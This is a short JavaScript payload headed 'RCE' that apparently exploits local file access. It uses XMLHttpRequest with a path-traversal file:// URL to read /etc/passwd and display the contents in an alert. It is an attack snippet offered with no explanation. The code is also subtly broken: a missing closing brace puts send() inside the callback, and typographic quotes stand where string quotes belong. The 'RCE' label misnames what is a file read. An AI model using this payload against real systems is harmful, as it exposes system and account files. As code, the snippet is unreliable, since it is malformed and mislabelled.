RCE

function readTextFile(file){
    var rawFile = new XMLHttpRequest();
    rawFile.open(“GET”, file, false);
    rawFile.onreadystatechange = function (){
        if(rawFile.readyState === 4){
            if(rawFile.status === 200 || rawFile.status == 0){
                var allText = rawFile.responseText;
                alert(allText);
            }
        }
     rawFile.send(null);
}
readTextFile(“file:///../../../../../../../../../etc/passwd”);